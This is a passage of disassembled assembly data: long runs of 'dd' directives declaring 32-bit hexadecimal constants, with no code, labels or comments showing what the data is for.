		dd 0FDC42ED0h, 2204A39Ah, 0FAFE02DCh, 0C9336B46h, 572B7444h
		dd 442438E7h, 11DF46h, 0D1100C2Ah, 0F28559E7h, 0AC41093Ah
		dd 9E1C377Fh, 9B28F199h, 42006C22h, 0DF4F0466h,	0F35130DEh
		dd 2866ECh, 0D8AE689Ch,	45802Fh, 28B3DCC6h, 7EDB2B73h
		dd 0ACAFA33Eh, 4CBE7CCFh, 0C00C801Ch, 78E722h, 10DA0685h
		dd 0FFA9F419h, 122E3C7Dh, 9704CCA3h, 58884D8Ah,	5A439573h
		dd 0A7D67900h, 797419Dh, 8EE0344h, 1DDF67EBh, 0D0C861E9h
		dd 47249AD1h, 596154D5h, 4BE84F98h, 0B07B38D4h,	0E45ADA09h
		dd 3D0BBC10h, 9B0D1E00h, 63376EBh, 80520097h, 13F4F2FEh
		dd 0C1D6B728h, 6BCF5500h, 0BF0589h, 2F108FD8h, 1552AFDFh
		dd 48E0EF5Dh, 40AA3AACh, 0F838547Ah, 0C0B4EA8Ch, 5D153322h
		dd 1800BA5Ch, 0B2D76845h, 7A2FFADh, 3F560136h, 55080CE1h
		dd 88E879C2h, 0EC20E2E0h, 722600B8h, 0C618363Ah, 73016B4Eh
		dd 91AC665Ah, 79804677h, 1AE4F6BDh, 0B800EB53h,	6F7A690Eh
		dd 0B0AB031h, 94028667h, 0D4AD1022h, 0FC355921h, 4D243036h
		dd 0DB9128h, 1F1E991Dh,	1D1AA991h, 4C70EED3h, 0C0385576h
		dd 377DF49Ah, 0F87DC98Bh, 0BA22182Dh, 9B65F007h, 0D300CD64h
		dd 9A8E7h, 1E921915h, 60E957D8h, 4041A431h, 0BD0831D9h
		dd 34A588h, 4636110Eh, 5F102E80h, 0D0BFD032h, 0A8145156h
		dd 478320CCh, 5235A000h, 0C11FDC31h, 0A150B1D9h, 0CC3C12E0h
		dd 4386C584h, 4AD04157h, 0AC7840B8h, 42778604h,	0AC98FC54h
		dd 44970F22h, 64C4C2E7h, 59A891F4h, 1890325Ah, 91912B49h
		dd 0E3C3BD1Fh, 0D6A9980h, 50A18865h, 8161408Ah,	804F7D48h
		dd 0BEE2F49h, 325ED8h, 30B8AB58h, 3C3B2842h, 0AB48E48h
		dd 187A4788h, 4BFC9000h, 1103277h, 0B298F946h, 62CE7061h
		dd 506AC880h, 0B8B371C0h, 182C38ACh, 2242758h, 6185B975h
		dd 605F7D9Eh, 5D9556D8h, 3457AC3Bh, 0B2B10D00h,	302682A9h
		dd 98849F02h, 7497C1h, 282C5C48h, 3A69B160h, 5CA8F4Ch
		dd 6DA3173Ch, 0A0D831BDh, 10BFC5AEh, 2CE1F65h, 0DB2197D2h
		dd 84A33892h, 3100037Ah, 5EF0415Ch, 32CEDDB4h, 6CE92281h
		dd 314DB866h, 0AC22D6F0h, 0C494593Dh, 7A667037h, 4C810034h
		dd 312380C4h, 1A2457F4h, 98E0F448h, 76202Ch, 0F8ED63F9h
		dd 0F4B17B4Eh, 52440FFh, 0D613ECC9h, 3C7060D2h,	98A626h
		dd 0AFE56561h, 2A33AC90h, 8151D239h, 0C534775h,	0F0640742h
		dd 3905607Dh, 24349F7Ch, 80E4C600h, 0FF94410Dh,	60CE50C1h
		dd 1B68031Ah, 0DE1654EDh, 0D4C07912h, 57BE0431h, 49188C72h
		dd 0A26C193Fh, 0E4310800h, 202DD351h, 5B780BD9h, 99B8FDh
		dd 0ACB0204Ah, 0C3703DF1h, 0F09E313Dh, 15AD1F0h, 91BD1695h
		dd 0F8EB6026h, 2E12DEF1h, 7C82215Ch, 0A4534Ah, 1F483D37h
		dd 9C207899h, 17661CB6h, 0EF7C2FFh, 5071C94Fh, 49926829h
		dd 9D251890h, 1ED7F438h, 40BEEB77h, 0F09F7299h,	78930BD4h
		dd 6004D93h, 0D3B6D274h, 2865018Eh, 41B9EDCEh, 40F18329h
		dd 0A0865A4Fh, 1979D74h, 8064FADFh, 0F88AD514h,	0F0B14B66h
		dd 7A902C29h, 0AEE54FC8h, 17718C8h, 240BC06Bh, 0F0BFE4CFh
		dd 474DCD26h, 9A0CC0C4h, 5176C8h, 7727A4C5h, 25E58C67h
		dd 91A22E02h, 0EC0D965Bh, 605D4A64h, 0C95A4640h, 4851CE64h
		dd 2E6AB8C0h, 90B13FB0h, 92C0DCCDh, 390E8DB3h, 24EEBA01h
		dd 0A2CE3E1Eh, 0E2FC9805h, 0E9ED2116h, 0B6010C99h, 1DFCC74Bh
		dd 5DC2022Ch, 0D5BEA1F1h, 0A300ACEEh, 2587CB2h,	9FC26A44h
		dd 274EA778h, 1A9AD440h, 1F31488h, 0DBD8FFFh, 63F5F230h
		dd 9C6A2560h, 25534690h, 296C8459h, 0D560E4h, 9B4EC0E3h
		dd 196DEE61h, 549C7E54h, 0A4565044h, 7BFB3D24h,	0AB81A333h
		dd 0FCCF5122h, 399A099Eh, 30240962h, 0E02B4FC2h, 24AABC4Ah
		dd 0D07E0021h, 0D5B1366Eh, 0A312707Bh, 84431595h, 0D62956h
		dd 39B41251h, 2D8BDA44h, 0E4757A04h, 5CA40ABCh,	0BF609C54h
		dd 1D87245Ch, 0CE2E905Bh, 8E1CBD4Dh, 0B28047C1h, 186EBC07h
		dd 4901F7D4h, 4B8C5030h, 42038F61h, 0F5F7CB95h,	430AA834h
		dd 84E20288h, 932A10C5h, 98C4F86Ah, 3031AF00h, 33F5B5E3h
		dd 90ECF0h, 82B1A442h, 654C17BCh, 0E4B17FE4h, 0A5D19584h
		dd 0C000C0B2h, 4A2B4EAEh, 7400F186h, 3D4B7218h,	706CA4C4h
		dd 0A838F444h, 0A8DE9BB4h, 789C99A4h, 191D09EBh, 0EC80237Fh
		dd 0BD7667A0h, 6CC6CE1Ch, 44CF18CBh, 7B630264h,	0C15157BCh
		dd 10821866h, 112D58C1h, 2A10D628h, 8C02E252h, 1B41CA53h
		dd 84408E91h, 0DC809A8Dh, 151EC1h, 0E1D74553h, 46A6C544h
		dd 41BCF1C3h, 64E900FDh, 7F8698ABh, 0DB2CB20Fh,	84491CF1h
		dd 3157A734h, 0E828E984h, 0FE02035Fh, 0FD9CBDF1h, 22707205h
		dd 1500416Ch, 6D7D8C49h, 91E4668Ah, 247401C8h, 8993373Ah
		dd 16323F91h, 90165814h, 0FBE2D400h, 0C1DBE1C3h, 0E34F211Fh
		dd 73D4601Fh, 80A84998h, 17042811h, 9A96005Eh, 0ADC66BD7h
		dd 2C24B783h, 56889C45h, 0C34F89E9h, 4A064ECh, 0C016325Ch
		dd 90C8A39Ch, 0FCAA0567h, 0B6478E82h, 636B00D4h, 6FAF86CFh
		dd 4FB80BDBh, 4C4837Ch,	0D52C8780h, 0DC191B76h,	0E341682Eh
		dd 0BC35E110h, 98F2BD00h, 62388667h, 55240166h,	965657ECh
		dd 922438C2h, 9900B435h, 15CACD4h, 1D72AEh, 73295B82h
		dd 48A4BFF9h, 9997BE25h
		dd 7E10C2FCh, 0AB0069FEh, 657491A1h, 48B81341h,	984D5424h
		dd 52D41D2Eh, 2A20608Fh, 5B4E093Fh, 0C089E099h,	0D5BC2643h
		dd 21690061h, 0AF1D0AA5h, 0FB044928h, 35756B80h, 0A63C4B4h
		dd 0E594CE99h, 0D45D0330h, 4DE0494Bh, 0F502B7A0h, 0EF0AF31Fh
		dd 59844980h, 0E62479C6h, 4A14181Ch, 0A0E8AC5Ah, 28761B31h
		dd 2224679Dh, 5601545Bh, 136066A6h, 0D032AFF8h,	0BF092600h
		dd 1667BD50h, 353C05F0h, 18F2198Dh, 407248C1h, 0D377EF00h
		dd 268D2E03h, 1E8B5A07h, 82FE94F3h, 44A74952h, 2AFF09B8h
		dd 0B0E8B71Ah, 317C5126h, 60F24613h, 20FD10C2h,	7B0F674Fh
		dd 0DC27A0B9h, 8F42008Eh, 91C5EF58h, 0F3F98C13h, 8A922060h
		dd 993360E3h, 349D1EDh,	56306507h, 6D70C48Fh, 972093h
		dd 0BC92A6ACh, 7B8880F2h, 174990F8h, 0AF5912F8h, 95336C90h
		dd 0C5E4015Fh, 0F2BE0B99h, 8E102CF1h, 0CCD9D359h, 501918A5h
		dd 4E96D0BCh, 0A4107E02h, 5AE4B7ABh, 1DFA0048h,	73153EB4h
		dd 932D7F8Dh, 0AC10988Ah, 334889CAh, 0CBF200C8h, 0CFE4DF7Ch
		dd 72D80037h, 453B219Bh, 0F70165FAh, 0C0608358h, 0D4215956h
		dd 6F00A436h, 0D599EC24h, 0E417DBA4h, 34298066h, 0A7E97E4h
		dd 46A5719Fh, 3511F4h, 94FDCD84h, 744FA9h, 0E1ABBDE3h
		dd 0C3AC52B7h, 3CB0BE00h, 4AC28FF4h, 0AA250007h, 940CECE3h
		dd 2B190FA2h, 0A81947BFh, 35411F8h, 4A4BAC84h, 0E1887EDCh
		dd 0FC074CE4h, 5FE0592Bh, 5EE6BAE0h, 7410CAAh, 2508C670h
		dd 26C36807h, 0F4B42B06h, 710AE980h, 33E400C0h,	0AF28909Fh
		dd 0AC017D4Eh, 0C3A4E204h, 616014E0h, 0BD36060Fh, 8865CBA9h
		dd 3CD64100h, 0EBE5C947h, 611A033Eh, 0B6FBC269h, 0C1042006h
		dd 4581A8AFh, 8CC2E09Bh, 19C85A50h, 9E4AAF0Eh, 42080330h
		dd 0F17680A3h, 313D0188h, 4FE934CDh, 41F98748h,	491CF37Eh
		dd 16C931A9h, 0BA74C419h, 847580E9h, 0D1ECE5A8h, 15220077h
		dd 82A570D0h, 3406CCBBh, 73C4DC50h, 19313931h, 7B624800h
		dd 0CA2ADA77h, 2E0F5FE4h, 0AEBE4D40h, 8E8CFF23h, 9E4A799Fh
		dd 8839140Ch, 88475D00h, 1B9B61E5h, 0BF303BE6h,	49DBB11Ch
		dd 48393931h, 0A6922E00h, 9918E608h, 77331F1Eh,	588C2A01h
		dd 0BFD10442h, 0B0EC7440h, 39AC0135h, 41FB6689h, 0A1E8407Ch
		dd 3B7480CBh, 108DE004h, 0C8218CCh, 0C132014h, 8F001545h
		dd 0A2F12C99h, 0FADA6904h, 7C3E0A87h, 809878F2h, 0CA3F8BB1h
		dd 66F86A34h, 0F0C5C900h, 0D0112D49h, 3BF828C7h, 345B0ECh
		dd 76611C51h, 69074D46h, 0F256FDA1h, 4A115D40h,	88AB1C94h
		dd 21775842h, 4B0204ECh, 0A9608431h, 1D184492h,	454746FDh
		dd 8AD76C7h, 13802ADCh,	0B0233D1Fh, 82E1FCAh, 1060248Ah
		dd 80AE8876h, 0FBBCB98Dh, 0F60613C1h, 6229DA68h, 2B9E0061h
		dd 0D7F30423h, 2F0CA13Ah, 992979D5h, 8D4F0141h,	68DD5698h
		dd 0C485E4CDh, 0ACB6C0Eh, 2D15E1E9h, 6987970Bh,	20EADE56h
		dd 8C187D5Ch, 877F273Ah, 3B9D6D62h, 7E81C590h, 0D8C14991h
		dd 6C93A90Ch, 28EECB69h, 0CA43949h, 0C92387BAh,	0CC1F3A69h
		dd 2C6CE624h, 93B40E0Ah, 0B02488C9h, 0EC30805Dh, 0DFEC3762h
		dd 0A147B300h, 46C0E334h, 2B763C07h, 0DF30BAC4h, 0F25D5921h
		dd 83EF3193h, 0D06BE240h, 88164CA1h, 320C8A7Dh,	1EAAD929h
		dd 0BA9758F8h, 410DC498h, 7C00540Ah, 0A1967E10h, 77603ED5h
		dd 0D4FC7746h, 0B5C06C39h, 607213B7h, 0E40BD807h, 0BED0B346h
		dd 9E7F494h, 8D1A6550h,	4C38528Dh, 60000E50h, 0AD022DD5h
		dd 647ACCF8h, 24D2888h,	6129BBh, 81B8B341h, 0A1125598h
		dd 0D8304A60h, 0EBA052h, 0FFEA9A0Ch, 0E42E1448h, 77973200h
		dd 0DF490F79h, 0F4CE04BBh, 8215E82Fh, 88201190h, 653B1Ah
		dd 9EBE9239h, 0A42B89D5h, 0E3C8CE01h, 5AD24E66h, 0A85BD040h
		dd 50484852h, 0F3EB3C1h, 0D564E0B7h, 4A81F900h,	0EFED9A44h
		dd 78C430DFh, 8E716329h, 0F0F38400h, 9D85EE77h,	0AF6C00D9h
		dd 8DE2ACF5h, 0E898812Fh, 6801F8A6h, 0EAA3F0D1h, 0B03063C8h
		dd 78418A7Bh, 0E98F08ACh, 0E3706711h, 0D3D41900h, 540CF218h
		dd 0BAB900EAh, 624BDC6Ah, 8F14A6EBh, 6084B4DFh,	0BF23C738h
		dd 3F49C10Eh, 0F8AFE46Eh, 2C011728h, 0FCC01E21h, 69811529h
		dd 8D901DDCh, 0D09DCACh, 0EBBF5B00h, 4CB046FAh,	0D6D30134h
		dd 75CCD36h, 754C2098h,	5B10B9D3h, 6542765Ch, 0FA478802h
		dd 98A30FC5h, 64D8C1D1h, 559802F1h, 33458538h, 0EAA1BA60h
		dd 145C4676h, 0A09CE404h, 0FC8049C8h, 7EF72A20h, 5C70438h
		dd 8027EBF3h, 0A778E390h, 0CEF17080h, 0ADA07549h, 0EA29CA0Eh
		dd 4B97E712h, 4283E408h, 0C423798Fh, 31A90029h,	7EEED753h
		dd 0C382CECh, 777F802Dh, 0FFCDA911h, 1031C827h,	2380CC80h
		dd 0E47ECB3Eh, 0BF6126A6h, 0E7E840A0h, 0A200982Fh, 0FFB9AFC4h
		dd 0CBC009EFh, 0B70374A1h, 4F884CF3h, 0A809FDB0h, 8FF9E8FBh
		dd 41D1FB23h, 5402BCA8h, 4AB92076h, 0FF00543Dh,	0A1CEC7C1h
		dd 5AB255Fh, 0F4934C85h, 8664880Bh, 3F9E1C00h, 54D89A80h
		dd 0A11660BFh, 44B4CF5h, 0AC89EE00h, 384630FFh,	0E7151h
		dd 0B3505E8Fh, 4CDFAEECh, 0C0407032h, 775C4167h, 802BC411h
		dd 0FED2AE91h, 17C291h,	4D644F45h, 0A4A87B5Bh, 0D6E489D0h
		dd 21047D00h, 0FA67DC48h, 0CEA30C3Ah, 0BA214697h, 595FEA31h
		dd 41809D70h, 0E64E264Ah, 0A209FB2Fh, 891DD976h, 16AE8035h
		dd 29F6689Ch, 11B41CC2h, 9B241EA8h, 0A29FD7DDh,	0DD93641Fh
		dd 42A9A002h, 483C41A6h, 400CC13h, 88B42060h, 505FF645h
		dd 0AE6094h, 0E9E9714h,	8843E027h, 0E9C08CFh, 0C49068Ah
		dd 8C7E0711h, 16F028D0h, 0C6F820E1h, 2EA01E4Bh,	0B8080C46h
		dd 50499F89h, 3D172522h, 7380A7D7h, 0F831725Eh,	7EEC0D9h
		dd 51F55500h, 2C8B68B2h, 0A67EBCh, 858DAE96h, 222416B5h
		dd 10491706h, 5943ADh, 8B96C6ABh, 75B18583h, 12A6E504h
		dd 8A83EAC8h, 0CF990010h, 82DEDF53h, 0D903B9EDh, 76EC3A77h
		dd 90DB07Eh, 339B060h, 39A88D87h, 80F88EA9h, 80F10A1Fh
		dd 3CDE0781h, 63253122h, 4008C92Bh, 4D1720B7h, 2C7CCC64h
		dd 34053C4Ch, 545D79FEh, 9083E480h, 41EBC0h, 2969AA60h
		dd 0C55E5CE2h, 373C2539h, 8D675918h, 38C6FC10h,	0CD9B00DDh
		dd 83436201h, 0A273BB0Fh, 0B8E056h, 8597922h, 8896AEE2h
		dd 473F7E2Fh, 9D67824Dh, 0A32349FDh, 0A01BE8DCh, 1DF7D491h
		dd 0A8518273h, 0A74220B8h, 5215393Ch, 537D00DCh, 561ED33Ah
		dd 2817192Eh, 0E32549EBh, 0F57C8900h, 85C3D182h, 0F701815h
		dd 1F4AA114h, 367DC800h, 75121A46h, 1B3801BAh, 0A70F718Bh
		dd 0F29B80Bh, 20A1FF36h, 43285024h, 14AD075Ah, 0D30D81DAh
		dd 0F087E89Bh, 287D2D17h, 811681C8h, 3ABD72A0h,	9A8EE845h
		dd 0D300787Dh, 9F5F89F4h, 7E28815h, 29B30C3Bh, 890D236h
		dd 4001E484h, 0F6ADE87h, 9180ED93h, 0B0AD99F5h,	560493Dh
		dd 0A5A376F1h, 1E8F8BAh, 884B94D4h, 87092A17h, 25BDFF21h
		dd 9480F2E4h, 0EA157E26h, 49A4A842h, 29D60Ah, 9877DEA4h
		dd 31607345h, 0FACDF48h, 810A6391h, 3978C217h, 8190AD00h
		dd 0A19F4F3h, 1AA23143h, 8011F2B9h, 0B984AA31h,	0B65E86h
		dd 0D67AA41Eh, 850F55D9h, 88245800h, 0FECEFDC3h, 3368C896h
		dd 9F40AD88h, 3CD4007Dh, 0BA8F7241h, 87B22D00h,	881695BBh
		dd 0CF2B00E6h, 2A272F97h
		dd 0ED388F9Eh, 433884A0h, 0D0E98Ch, 7131787h, 7BDD8E3Dh
		dd 195B80EEh, 1561900Fh, 21B69871h, 0F85CD980h,	0A002DBC1h
		dd 1D97E107h, 8B919661h, 1831016Dh, 2451A7C4h, 41E40F3Fh
		dd 0DC45DA1Dh, 8005E4Ah, 92A63255h, 7B0757h, 0A5A4D70Bh
		dd 8E8C15CFh, 8643D9C2h, 0FE98A126h, 8448138Bh,	19106025h
		dd 0D42E11C2h, 923C85F0h, 0C4D28Ch, 88ED8413h, 302538F0h
		dd 1590A28Fh, 0D61FE8Eh, 19263C60h, 0A417D310h,	2400ADF4h
		dd 0DD6399AFh, 18AB1Bh,	0F1B8518Ah, 3F95C023h, 0E0B46816h
		dd 12312F00h, 9A7921FBh, 204345BCh, 10E9AF24h, 6E1D9E6h
		dd 263EB932h, 0C1041928h, 86C8B485h, 2A8794D0h,	0A9C50711h
		dd 0CCAD3DD6h, 0D1752F10h, 0C35C3F4Ch, 80846B4Dh, 13149E4Eh
		dd 78574D4h, 9ADEE2D8h,	920F066Ch, 2A03810Ch, 2F6DCB12h
		dd 6F35E811h, 687B0531h, 88854324h, 8131B810h, 0F49C14Dh
		dd 0C28019BCh, 965A68FAh, 67A01C7h, 81136B1Fh, 836F2500h
		dd 371492FFh, 8289738Ch, 0C41C8Eh, 9187F50Ah, 0A23B905Ch
		dd 1535A09Ch, 0AD5106E7h, 0B9B59D87h, 0A7349C02h, 609AEAB6h
		dd 900F79E0h, 0AD39C662h, 0A57541ABh, 337C700Fh, 5D4540C8h
		dd 1BA2D1Ch, 29BEA651h,	4788DAB3h, 62A890B0h, 91005EC8h
		dd 0E4A0F33Ah, 487D9FD2h, 0A111C81Ah, 0A8870C1Fh, 0E603614Eh
		dd 0A8EFF1E2h, 0BC1462h, 356E5C89h, 0F1A6DA9Dh,	8192A006h
		dd 4D488BE4h, 8581003Ch, 0F449A76Eh, 0F100FAFBh, 8737FE34h
		dd 99DE5098h, 0DA1A8FB0h, 0EDE7C0AEh, 385BE076h, 0BE04B1BBh
		dd 330F5E65h, 0E17CE840h, 0C31C626Ah, 5F80C52Fh, 6BAA9380h
		dd 0B8E7012Ah, 0E08F9CC6h, 5C8321Ch, 9EC1068Dh,	0FE572427h
		dd 31929B90h, 4C5B1F69h, 0D37B407Ah, 4F51F3E3h,	0C098F40Bh
		dd 0C8D30825h, 0A3E8DA81h, 4ED0F906h, 59D30113h, 0A28C29A1h
		dd 723B7093h, 8E1C3890h, 0AA7C435Eh, 0BC98A82Ah, 3E6D6800h
		dd 3FFC5322h, 8441227h,	334C20F2h, 5A38CB97h, 793DE3h
		dd 0E5045D30h, 880F4951h, 0C8009456h, 633ED083h, 0FA0AE7h
		dd 8477C0AAh, 132566B8h, 8B6171C0h, 0EFB1B67h, 1AB4D557h
		dd 0EDAECB20h, 0A60966C6h, 24916027h, 3C41A874h, 20BC58A3h
		dd 64F0710Ch, 293A3F0Bh, 0AD980311h, 3129004Dh,	8C826DB9h
		dd 0D37ED774h, 0A6345700h, 0BADE72E6h, 0DB602ED8h, 0AC0F068Ch
		dd 43E0E101h, 1468FF26h, 1258AE1Fh, 2C4819h, 0F3180A90h
		dd 0AB0C11A7h, 0BC56FA00h, 4386962Eh, 801E5549h, 0D8C120h
		dd 879D317Dh, 383EF57Ah, 15925800h, 818D90E5h, 854116B2h
		dd 92C2212h, 0E805C24h,	6898A90h, 0B6BE5FAEh, 0BD00591Bh
		dd 51191DC7h, 72D9BC0h,	0AC831A36h, 74DD80AEh, 8B3C067Eh
		dd 543A1A62h, 291060C0h, 0A841C00Bh, 0D4367590h, 3EEC2C02h
		dd 0A616380Fh, 0F029897Ch, 92A2023Fh, 0B425D8EFh, 0A638F44Eh
		dd 14A048EDh, 5C0FF6h, 0B3103B5Eh, 0C2F11Bh, 0C62FD4E0h
		dd 3931F9E5h, 94119100h, 3F20A6AEh, 0BFAC074Eh,	21CFFF37h
		dd 65142631h, 0E4A82438h, 3C06B900h, 9A03F6D4h,	7725F85Bh
		dd 7FE5099Dh, 3488BFA0h, 455861B8h, 0EF3880B3h,	0F5813BD0h
		dd 0B06004Ah, 4F6E708Ah, 1C904DB5h, 7ABF6903h, 0A0B98695h
		dd 0C5147B53h, 80A420F8h, 172A8834h, 102C274Ch,	502E0F5Ch
		dd 2592178Ch, 290882F4h, 1769982Ch, 319415F6h, 9F10CCE0h
		dd 0D218D28h, 0E321C517h, 0CA3A59E0h, 0D8195234h, 13109882h
		dd 587740B4h, 2D94DDAh,	0CA46535Ah, 50480DA7h, 363AF6E1h
		dd 3EB89DA3h, 1F08F303h, 25611822h, 9594792Dh, 29710103h
		dd 0CBAE061Ah, 0B3695017h, 0C4830050h, 5FA6DF5Bh, 84E49465h
		dd 26C8E200h, 0D2BCA016h, 0CA1F0325h, 0F21108E4h, 110C614Ch
		dd 49289E8Bh, 3D78003Ch, 0CCA77C3h, 6E07932Ah, 1EDDBC6Dh
		dd 583EA0A1h, 38EB048h,	4C3DBF85h, 50129B22h, 70885FE7h
		dd 1C460161h, 3F9647EFh, 40A9ED5Bh, 0F180F238h,	0F8900AFEh
		dd 0ADD851E1h, 8510404Eh, 29001BF7h, 23B90390h,	75A6352h
		dd 2406776Ch, 32FA717h,	0BD90AE86h, 443EA337h, 19913F22h
		dd 7E494CADh, 716DF4h, 7AFC5A47h, 246CE2BFh, 414E5B01h
		dd 0DD4AFA97h, 908FC842h, 9689B8B8h, 1BA442E4h,	0A308F222h
		dd 0DEC3D9BCh, 0E3010080h, 0FEE16BFDh, 0E8043F83h, 0A8AD869Ch
		dd 38503240h, 0E73E4831h, 199430DEh, 0F6FF8FEh,	69969FCFh
		dd 0F0042D21h, 0A47985C5h, 0C8C2CE95h, 0A8902B23h, 2C0F4380h
		dd 65927E66h, 4C28EDFh,	54E69Ah, 0B78AC231h, 6FCCA7AAh
		dd 1C08655Ch, 0C1B1AB0Fh, 8321117h, 0BCC3F614h,	46B2F1C0h
		dd 23003CAAh, 50DFCDB7h, 0F0169BB5h, 0A4B0014Dh, 281713B9h
		dd 282423AEh, 433E788Ch, 0C74458A3h, 25E4465Eh,	84057483h
		dd 34F88Ch, 0ACF1F623h,	0A907B25Eh, 0EB012F75h,	0B39562Eh
		dd 43D00310h, 42CCA68Ah, 8E310085h, 0A47D300Ch,	1D910005h
		dd 0B59FF82Bh, 4CA0CD80h, 0AD0004E7h, 3F530B0Eh, 3D92E5h
		dd 86365D8Eh, 3EBBF7A4h, 7462853Bh, 0A7F04725h,	1A0093ACh
		dd 264FE6CAh, 3EC0C250h, 0F19AD44h, 0AE5078DCh,	0B003C29h
		dd 69BCB1A4h, 0F00CD2Ch, 0B968A231h, 7885EF8h, 0D60465D8h
		dd 1125C36Eh, 6C59D101h, 0B094913Bh, 3540A8DBh,	445F4D1Ch
		dd 0F507983h, 590099E6h, 5E479385h, 20D306h, 0A5FC04D9h
		dd 0F9A3F184h, 8B407D0Ch, 99F26114h, 0E59E0014h, 3E886C1Bh
		dd 90789400h, 0A5EAA32Ah, 418A4A41h, 434EE3F4h,	0A0942C8Eh
		dd 4F5402h, 872537E4h, 12CC735h, 0CF5C1C7Ch, 404E00FFh
		dd 3DB2E20Eh, 9926h, 838D945Dh,	0D090C593h, 24BA4500h
		dd 8A251F6Bh, 0B4900FA0h, 9D258B52h, 0EE0823Dh,	0F884F320h
		dd 2C254CB1h, 0D89FA603h, 80D54CF9h, 7F53A788h,	7300A87Ch
		dd 0BA87C78Ch, 99D73965h, 337A80BCh, 18BB80C9h,	1DA29602h
		dd 46253F30h, 336F6A4h,	7FA73A87h, 0B4F49EE5h, 0D700DA48h
		dd 57A18940h, 0C6BDC0h,	0A625F29h, 0FFDC4407h, 0AD7C9D0Bh
		dd 0A85498D8h, 8DD50113h, 0CC7A202Ah, 66E7057h,	0ACA96E00h
		dd 9379CF99h, 522B4B17h, 0DCA488E4h, 3A294700h,	6B522039h
		dd 65CE3E6Dh, 882B1450h, 710183DEh, 2A4F1675h, 0EC21A8FBh
		dd 0F828E44Dh, 0DF0BF380h, 740F6F63h, 400464ECh, 0C2F88D50h
		dd 885A0169h, 0F58705FBh, 124840B4h, 0EE00B29Ah, 947061D4h
		dd 0EC6DEA0h, 17C5335Fh, 0E7A80A28h, 0AD4EE600h, 0F6B08B8Dh
		dd 0ADFBF191h, 5E3CE881h, 7994AE0h, 95C790ADh, 0E208840Fh
		dd 900C22D0h, 70B26DCh,	7036114Ch, 80F53C3Fh, 28151126h
		dd 3643DB7h, 0F7E5B87h,	294376AEh, 4E4601BCh, 786222C8h
		dd 5C80DCECh, 0A03BEBAEh, 114A7A80h, 0F38B825Ch, 8EE3210Eh
		dd 13F289F1h, 3D50E0F4h, 5BE63BB3h, 49916C3Fh, 81FE071Dh
		dd 6B80019Ah, 2E833CAh,	0AD6432F4h, 85418504h, 22B43994h
		dd 0A8EE0016h, 8B5047Ch, 4A2E8225h, 212D864h, 8D203C30h
		dd 0AEBF0EE8h, 0EC9D1A7Dh, 0E0C4288Ch, 61FF800Ch, 25642Ch
		dd 910A4F0Bh, 0B8112F58h, 71BE92h, 9BA7AD3Ch, 2BAB22B5h
		dd 80909DA6h, 2843E0Dh,	1A00DAB7h, 70480758h, 6C9E80h
		dd 0C54209DBh, 2C646087h, 0B7670C6h, 3C124C59h,	0C02B69C4h
		dd 98F7BC6h, 807E0539h,	3DD4F997h, 0DDFAE73h, 0A4E08E3Fh
		dd 7203CDC8h, 163B0098h, 284C3925h, 4F43EA1Bh, 202C20A1h
		dd 8D321311h, 127138A3h
		dd 3F1430C0h, 9B952703h, 0C81C252Fh, 0A1379EF8h, 41E20898h
		dd 0F18B8E1Ch, 0F1EA4h,	49F95A2Ch, 60885007h, 0E1D0AE7Ah
		dd 0FC63F73h, 0BB2A0903h, 5A252040h, 132C1C65h,	32086878h
		dd 960F0629h, 8C99F9F1h, 396F1980h, 3A89E69h, 0B83A9706h
		dd 4BDD2EA6h, 7005CBE8h, 0E0448198h, 49839AEh, 0B983C8F8h
		dd 3936081h, 4C7D0517h,	4EC826DCh, 39199160h, 5B09B237h
		dd 45FC205Bh, 883921F5h, 80033B62h, 66F254B7h, 90996101h
		dd 709080AAh, 72C8C92Bh, 47761C94h, 9B8EB912h, 2F413C80h
		dd 0FC155017h, 1F014093h, 96250D44h, 4B968068h,	8365DDFFh
		dd 0F5DAD700h, 0AD0F3168h, 9DC9C305h, 0D28D701Dh, 8A292608h
		dd 5901BBFCh, 388C5322h, 0B817503Ch, 3C802081h,	172CC65Dh
		dd 2169AC16h, 68940F28h, 99B49448h, 78003A3Ch, 4CF76918h
		dd 0D899F0E3h, 9F54EF80h, 71D4C2C7h, 0C48807B4h, 0A0196428h
		dd 203283E4h, 0F0507F30h, 48FFF548h, 0A7103C2Bh, 0D12830A8h
		dd 0A2C8A5E2h, 38288AE4h, 9229150Bh, 0DC6658h, 947D8443h
		dd 70CBFCDBh, 0C76B9516h, 1F9B4805h, 1207DCD2h,	4F0D2000h
		dd 7100E689h, 0BD78D42Eh, 4333A1h, 0EB1C675h, 3E86B828h
		dd 0C70A4E90h, 90B7F9E3h, 0A4050C11h, 309D225Fh, 2FC26ED0h
		dd 40968000h, 16311A99h, 45894F43h, 4034F2ACh, 48E1FCA4h
		dd 360FD8EDh, 0EEE3A33Ch, 3AE8E03Fh, 12AD5D9Eh,	0C8E4BA3Dh
		dd 0B5023CCCh, 34D8E0ABh, 1C520Fh, 94F7AEDh, 86BEB003h
		dd 98B6B926h, 6B309147h, 0D825D5h, 0EDF39E3Bh, 9FAD84E8h
		dd 856FEA17h, 8467380Bh, 60D994CCh, 3DC72D6h, 0ED695FABh
		dd 87E23EBCh, 10F70041h, 0AF707Bh, 0C669E93Dh, 2587D0C3h
		dd 0E3911F0Ch, 4E63F806h, 1540200Eh, 70B14EA9h,	59460F80h
		dd 0D2BE7Eh, 0D367B090h, 5880F519h, 258BA400h, 0A33EBD61h
		dd 0A24A0121h, 0C3172D1Ch, 6C41A808h, 8286E707h, 39609887h
		dd 0A4598815h, 6B1B44F4h, 0D1435A00h, 446AF4A4h, 0C284007Eh
		dd 65486EABh, 0F16193Eh, 0E0201C8Bh, 764BFF6h, 26FEAEACh
		dd 0FFA9F184h, 108025AAh, 5679DA2Ch, 751C8D00h,	0F8966D4Eh
		dd 4AF50EBAh, 0F4C06CC4h, 6F132AC2h, 391E074Ch,	5A0600D4h
		dd 40D1E208h, 0C1E48A1h, 7880FD88h, 20607E7Dh, 570900A8h
		dd 13352B22h, 42FE236Ah, 99CAF805h, 584889FAh, 0E08D44F5h
		dd 2561B400h, 9FD838B8h, 8C409100h, 87830494h, 900D7985h
		dd 0F0F63C6Bh, 0B48ADh,	295E1992h, 0FD876AC6h, 7C80B1F4h
		dd 0FB4BDAh, 0CF835928h, 1AC4B6C2h, 5820664Fh, 0AAA1F5h
		dd 5EFF4DE8h, 0D42104DAh, 3FA2A701h, 0AB99EBB7h, 13263441h
		dd 35595110h, 556E2C00h, 717EA9FBh, 823F16A7h, 0E72021ADh
		dd 0B4C0EAC3h, 1400E6BEh, 0B87B7ED4h, 70F7855Ch, 0D82C04D6h
		dd 0B438F371h, 0A10E2450h, 986F461h, 5E6C04B0h,	49689840h
